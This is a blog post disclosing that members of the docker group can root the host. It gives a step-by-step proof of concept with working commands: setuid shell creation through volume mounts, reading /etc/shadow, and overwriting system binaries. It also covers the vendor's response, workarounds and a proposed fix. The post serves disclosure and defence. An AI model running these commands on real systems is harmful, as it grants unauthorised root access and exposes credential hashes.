Using the docker command to root the host (totally not a security issue)

Docker is an awesome tool that allows their users to create, manage and run Linux Containers with ease.

TL;DR:

It is possible to do a few more things more with the docker command besides working with containers, such as creating a root shell on the host, overwriting system configuration files outside the container, reading restricted stuff, etc.

The ugly case

docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c \
'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh'

The above command will mount (-v) the current working directory $PWD into the /stuff directory of the docker container named my-docker-image and will then write a copy of the container’s /bin/sh into the /stuff directory that is conveniently bound to the calling user’s $PWD. The /bin/sh binary. Outside the container. Into the host. With suid.

Then what? Then this user may execute the sh binary to root the host:

[email protected]:~/docker-test$ ./sh
whoami
# root

The only thing this user needs is to be able to send instructions to docker, by being part of the docker group. In other words any user who is part of the docker group should also be considered root.

I contacted the security team in private, but unfortunately they do not consider this issue a vulnerability:

A user with access to the Docker API is not an unprivileged user, but has access to run fully privileged applications as root. This is by design and we currently recommend that operators consider all users with access to the docker group, socket, or API to be fully privileged.

Is every docker user aware that a platform that is meant to manage application containers can also be used to get root privileges, not only within the restricted container (which is expected), but on the underlying host too?

If so, what’s the purpose of the docker group?

Proof of concept

I tested this on Fedora 21 (SELinux disabled, so I probably deserved to be hacked) and a vanilla Ubuntu 14.04 machine (with the default configuration, it comes with apparmor). This might work on other Linux flavours too.

Here’s how you can test it too on a virtual environment defined by this Vagrantfile:

Vagrant.configure("2") do |config|
  config.vm.box = "chef/ubuntu-14.04"
end

and this Dockerfile

FROM debian:wheezy

ENV WORKDIR /stuff

RUN mkdir -p $WORKDIR

VOLUME [ $WORKDIR ]

WORKDIR $WORKDIR

Step by step

If you’re not new to docker this may be a little boring, you may want to skip to The fun and profit part.

If you want to continue, then start the Ubuntu machine:

vagrant up

Install the latest docker package following the official instructions (https://docs.docker.com/installation/ubuntulinux/).

sudo apt-get install wget -y
wget -qO- https://get.docker.com/ | sh

Add a new unprivileged user:

adduser test-user

Make sure to add this new user to the docker group:

sudo usermod -aG docker test-user

Drop your currently privileged vagrant shell and log in into the test-user account:

sudo su test-user
cd ~

The following commands were all entered by this new user to build the docker container:

mkdir docker-test

cd docker-test

cat > Dockerfile
FROM debian:wheezy

ENV WORKDIR /stuff

RUN mkdir -p $WORKDIR

VOLUME [ $WORKDIR ]

WORKDIR $WORKDIR
^D

docker build -t my-docker-image .

The fun and profit part

You can copy binaries from the container into the host and give them suid permissions:

docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c \
'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh'
./sh
whoami
# root

You can mount system directories into docker and ask docker to read (and write) restricted files that should be out of your user’s clearance:

docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat shadow'
# root:!:16364:0:99999:7:::
# daemon:*:16176:0:99999:7:::
# bin:*:16176:0:99999:7:::
# ...

And yes, you can even bind the host’s / and overwrite system commands with rogue programs:

docker run -v /:/stuff -t my-docker-image /bin/sh -c \
'cp /stuff/rogue-program /stuff/bin/cat'

Or create a privileged copy of bash for later access? sure:

docker run -v /:/stuff -t my-docker-image /bin/sh -c \
'cp /stuff/bin/bash /stuff/bin/root-shell-ftw && chmod a+s /stuff/bin/root-shell-ftw'
root-shell-ftw  -p
root-shell-ftw-4.3#

But oddly enought you can’t read /dev nor /proc. Because hell, that would be a security nightmare:

docker run -v /:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/dev/mem'
cat: /stuff/dev/mem: Operation not permitted

So at least this issue does not allow anyone to play with your printer, unless they find a way root the host. Which they can.

So, is this a security issue or not?

The docker security team is very clear regarding this security implication, this is not a vulnerability: you should consider any user that is able to communicate with docker as fully privileged inside and outside the container.

So that’s it. No, this is not a privilege escalation because the docker group equals root anyway. And that’s by design, so it’s fine, nothing to worry about.

Odd times we live in.

Workaround for users

You should be really using SELinux if you’re worried about this known issue, the problem is SELinux really affects some of the most useful docker features, being able to use -v to write and read data volumes from the host filesystem is great, but being able to use it to root the host is not. Please note that Fedora desktop is shipped with SELinux enabled by default and that SELinux will render -v useless.

Also, you can also avoid installing docker into a machine that may contain sensitive information of you or other users, such as passwords, SSH keys, certificate keys, etc. you can use a properly contained and disposable virtual machine for docker, just like the trick they do for running docker on OSX.

Finally, keep in mind that if you allow anyone to play with docker, you’re giving that user (and any person who manages to execute a shell as that user) the Keys to the Kingdom, and the Docker guys ain’t worried about that. Think of it like a password-less sudo. Whether this privilege escalation issue matters or not you decide.

Proposed solution for docker

You can probably make the exploitation of this flaw more difficult by reviewing the -v option. A few simple suggestions:

Please, don’t put the blame on Linux Containers or other technical details, you’re providing a rather cool interface to them and having an additional security check on this -v option before reaching LXC won’t harm anyone.

Disclosure timeline